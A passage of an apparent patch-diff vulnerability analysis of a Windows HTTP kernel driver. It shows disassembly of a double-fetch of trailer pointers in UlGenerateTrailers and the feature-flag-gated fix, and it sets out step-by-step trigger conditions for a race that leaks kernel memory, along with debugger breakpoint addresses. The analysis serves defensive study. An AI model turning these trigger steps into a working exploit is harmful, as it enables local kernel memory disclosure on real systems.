class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="n"&gt;ce&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cached&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0028970&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FIRST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr1&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0028975&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;val&lt;/span&gt;&lt;span class="n"&gt;idate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UlProbeForRead&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00289A7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SECOND&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;double&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00289B4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr1&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00289E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="n"&gt;ce&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00289FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FIRST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr2&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0028A01&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;val&lt;/span&gt;&lt;span class="n"&gt;idate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr2&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0028A21&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SECOND&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;double&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0028A31&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched, feature-gated capture path (&lt;code&gt;UlGenerateTrailers&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;The flag selects between capture (flag on) and re-read (flag off).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000D0CF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;ON&lt;/span&gt;&lt;span class="n"&gt;CE&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000D0D4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;A8h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capture&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000D0E5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;UxKirHttpReadingTrailersFromUm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000D0EC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C000D125&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;below&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;ON&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capture&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000D0EE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;val&lt;/span&gt;&lt;span class="n"&gt;idate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr1&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000D111&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;A8h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;val&lt;/span&gt;&lt;span class="n"&gt;ue&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000D119&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;loc_1C000D125&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="n"&gt;iginal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;double&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fetch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;retained&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000D125&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;val&lt;/span&gt;&lt;span class="n"&gt;idate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr1&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000D14D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RE&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="kr"&gt;READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000D155&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The value pointer at &lt;code&gt;+0x10&lt;/code&gt; is handled by the same flag branch at &lt;code&gt;0x1C000D1A2&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;For the flag-off (retained) path to disclose kernel memory, a local process would need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Initialize the HTTP Server API and create a request queue (&lt;code&gt;HttpInitialize&lt;/code&gt;, &lt;code&gt;HttpCreateHttpHandle&lt;/code&gt;/&lt;code&gt;HttpCreateRequestQueue&lt;/code&gt;, &lt;code&gt;HttpAddUrl&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Obtain a request to respond to.&lt;/li&gt;
&lt;li&gt;Build an &lt;code&gt;HTTP_RESPONSE&lt;/code&gt; with at least one trailer whose 24-byte entry has &lt;code&gt;int16_t&lt;/code&gt; name/value lengths at &lt;code&gt;+0x00&lt;/code&gt;/&lt;code&gt;+0x02&lt;/code&gt; and pointer fields at &lt;code&gt;+0x08&lt;/code&gt;/&lt;code&gt;+0x10&lt;/code&gt; initially pointing at valid user-mode buffers.&lt;/li&gt;
&lt;li&gt;From a second thread, overwrite a pointer field with a target kernel address after the probe but before the &lt;code&gt;memmove&lt;/code&gt; re-read.&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;HttpSendHttpResponse&lt;/code&gt;. Entry count must be &lt;code&gt;&amp;gt; 0&lt;/code&gt; and &lt;code&gt;&amp;lt; 0x2710&lt;/code&gt; to pass the count check at &lt;code&gt;0x1C00288DC&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Win the race for at least one entry; on success the kernel copies from the swapped address into the response buffer. An invalid kernel address faults during &lt;code&gt;memmove&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;6. Impact Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive (flag-off path, race won):&lt;/strong&gt; Local kernel memory read into the response buffer (information disclosure). The target address is chosen via the swapped pointer; the read length is bounded by the entry's &lt;code&gt;int16_t&lt;/code&gt; length field (up to 65535 bytes per entry).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Constraints:&lt;/strong&gt; The race window is a handful of instructions between the probe call and the pointer re-read. Success is probabilistic. The trailer pointers are the local process's own memory, so this is a same-process race against the kernel, not a remote or cross-privilege primitive on its own.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delivery caveat:&lt;/strong&gt; In the patched binary this path only runs when &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt; is zero; when the flag is set the pointer is captured once and the race is closed. The flag default is set by feature staging outside the binary.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Debugger Aids&lt;/h2&gt;
&lt;p&gt;Instruction addresses in the unpatched build for observing the double-fetch:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1C0028975&lt;/code&gt; — &lt;code&gt;call UlProbeAnsiString&lt;/code&gt; validating &lt;code&gt;ptr1&lt;/code&gt; (source in &lt;code&gt;rcx&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00289A7&lt;/code&gt; — &lt;code&gt;mov rdx, [r15+r12*8+8]&lt;/code&gt;, the second read of &lt;code&gt;ptr1&lt;/code&gt; before the copy. If &lt;code&gt;rdx&lt;/code&gt; here differs from the value validated at &lt;code&gt;0x1C0028975&lt;/code&gt;, the pointer changed between probe and copy.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00289B4&lt;/code&gt; — &lt;code&gt;call memmove&lt;/code&gt; using the re-read &lt;code&gt;ptr1&lt;/code&gt; (&lt;code&gt;rdx&lt;/code&gt; = source, &lt;code&gt;rcx&lt;/code&gt; = destination, &lt;code&gt;r8&lt;/code&gt; = length).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0028A21&lt;/code&gt; / &lt;code&gt;0x1C0028A31&lt;/code&gt; — the equivalent re-read and copy for the value pointer &lt;code&gt;ptr2&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Register notes at these sites: &lt;code&gt;r15&lt;/code&gt; = trailer array base (user-mode), &lt;code&gt;r12*8&lt;/code&gt; = byte offset of the current entry (&lt;code&gt;index * 0x18&lt;/code&gt;), &lt;code&gt;esi&lt;/code&gt; = remaining output space.&lt;/p&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;Function names (the diff labels are addresses; names are recovered from the symbols in the disassembly).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UlGenerateTrailers&lt;/code&gt; @ &lt;code&gt;0x1C000CF94&lt;/code&gt; (change of interest):&lt;/strong&gt; Adds the &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt;-gated pointer-capture path described above. The original double-fetch is retained in the flag-off branch. Copy helper is &lt;code&gt;memmove&lt;/code&gt; (&lt;code&gt;0x1C0021200&lt;/code&gt;); probe helper is &lt;code&gt;UlProbeAnsiString&lt;/code&gt; (&lt;code&gt;0x1C0039148&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UxQuicConnectionCopyBindings&lt;/code&gt; @ &lt;code&gt;0x1C0047B38&lt;/code&gt; (feature-staging):&lt;/strong&gt; Adds a &lt;code&gt;UxKirWritingAndReadingUm&lt;/code&gt; gate around a &lt;code&gt;memmove&lt;/code&gt; (&lt;code&gt;0x1C0047BEB&lt;/code&gt;). The flag-off branch executes &lt;code&gt;mov ecx, ecx&lt;/code&gt;, truncating the destination pointer to 32 bits; the flag selects user-mode pointer-width handling. Operates under an exclusive push lock. Not a delivered security fix. (The address &lt;code&gt;0x1C0047A68&lt;/code&gt; used elsewhere for this function is off; the function header is at &lt;code&gt;0x1C0047B38&lt;/code&gt;.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UlpRebuildResponseHeaders&lt;/code&gt; @ &lt;code&gt;0x1C013E860&lt;/code&gt; (behavioral):&lt;/strong&gt; Feature-flag branch simplification in the response-rebuild path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UlpCompleteSendToExtensionWorker&lt;/code&gt; @ &lt;code&gt;0x1C0060F10&lt;/code&gt; (behavioral):&lt;/strong&gt; Restructures case handling in the send-response completion path (references &lt;code&gt;sendresponse.h&lt;/code&gt;). Feature-flag cleanup, not a direct security fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UlHkeBuilderCopyFixedHeaders&lt;/code&gt; @ &lt;code&gt;0x1C015791C&lt;/code&gt; (behavioral):&lt;/strong&gt; Header-copy helper; call targets updated to relocated equivalents of the same &lt;code&gt;memmove&lt;/code&gt;/helpers. Behavioral/feature churn.&lt;/li&gt;
